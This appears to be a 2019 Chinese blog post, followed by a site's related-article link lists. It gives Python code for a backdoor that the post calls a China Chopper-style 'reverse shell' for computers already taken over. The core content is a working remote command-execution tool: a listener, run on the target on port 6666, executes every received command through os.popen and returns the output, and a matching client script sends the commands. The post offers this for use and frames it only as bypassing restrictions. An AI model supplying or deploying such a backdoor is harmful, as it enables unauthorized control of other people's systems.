python模拟菜刀反弹shell绕过限制【推荐】


Posted in Python onJune 25, 2019

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
编程语言Python的发展史
Sep 26 Python
Python入门篇之列表和元组
Oct 17 Python
Python使用matplotlib绘制多个图形单独显示的方法示例
Mar 14 Python
使用Python实现从各个子文件夹中复制指定文件的方法
Oct 25 Python
使用python将图片按标签分入不同文件夹的方法
Dec 08 Python
值得收藏的10道python 面试题
Apr 15 Python
Win10环境python3.7安装dlib模块趟过的坑
Aug 01 Python
浅析PyTorch中nn.Linear的使用
Aug 18 Python
python使用多线程编写tcp客户端程序
Sep 02 Python
Tensorflow全局设置可见GPU编号操作
Jun 30 Python
python 抓取知乎指定回答下视频的方法
Jul 09 Python
教你怎么用Python实现GIF动图的提取及合成
Jun 15 Python
Pandas之DataFrame对象的列和索引之间的转化
Jun 25 #Python
Pandas之Fillna填充缺失数据的方法
Jun 25 #Python
PYQT5实现控制台显示功能的方法
Jun 25 #Python
Pandas之Dropna滤除缺失数据的实现方法
Jun 25 #Python
PyQT5 QTableView显示绑定数据的实例详解
Jun 25 #Python
Pandas之ReIndex重新索引的实现
Jun 25 #Python
Python中使用__new__实现单例模式并解析
Jun 25 #Python
You might like
php 生成WML页面方法详解
2009/08/09 PHP
谈PHP生成静态页面分析 模板+缓存+写文件
2009/08/17 PHP
thinkphp中session和cookie无效的解决方法
2014/12/19 PHP
PHP基于yii框架实现生成ICO图标
2015/11/13 PHP
PHP实现的简单分页类及用法示例
2016/05/06 PHP
Laravel如何同时连接多个数据库详解
2019/08/13 PHP
图片上传插件jquery.uploadify详解
2013/11/15 Javascript
巧用局部变量提升javascript性能
2014/02/24 Javascript
js实现简单的可切换选项卡效果
2015/04/10 Javascript
JS模式之单例模式基本用法
2015/06/30 Javascript
ECMA5数组的新增方法有哪些及forEach()模仿实现
2015/11/03 Javascript
小白谈谈对JS原型链的理解
2016/05/03 Javascript
jQuery 利用$.ajax 时获取原生XMLHttpRequest 对象的方法
2016/08/25 Javascript
Bootstrap基本插件学习笔记之折叠(22)
2016/12/08 Javascript
Javascript DOM事件操作小结(监听鼠标点击、释放,悬停、离开等)
2017/01/20 Javascript
从零开始封装自己的自定义Vue组件
2018/10/09 Javascript
小程序指纹验证的实现代码
2018/12/04 Javascript
中级前端工程师必须要掌握的27个JavaScript 技巧(干货总结)
2019/09/23 Javascript
[56:58]VP vs Optic 2018国际邀请赛小组赛BO2 第一场 8.16
2018/08/17 DOTA
基于进程内通讯的python聊天室实现方法
2015/06/28 Python
Python中str.format()详解
2017/03/12 Python
关于Python正则表达式 findall函数问题详解
2018/03/22 Python
详解Python3 中hasattr()、getattr()、setattr()、delattr()函数及示例代码数
2018/04/18 Python
Window环境下Scrapy开发环境搭建
2018/11/18 Python
实例介绍Python中整型
2019/02/11 Python
python 瀑布线指标编写实例
2020/06/03 Python
零基础学python应该从哪里入手
2020/08/11 Python
大三学生做职业规划:给未来找个方向
2014/02/24 职场文书
幼儿园家长安全责任书
2014/07/22 职场文书
远程培训的心得体会
2014/09/01 职场文书
民主生活会发言材料
2014/10/20 职场文书
教代会开幕词
2015/01/28 职场文书
质检员工作总结2015
2015/04/25 职场文书
JS实现简单控制视频播放倍速的实例代码
2021/04/18 Javascript
pytorch 权重weight 与 梯度grad 可视化操作
2021/06/05 Python
KVM基础命令详解
2022/04/30 Servers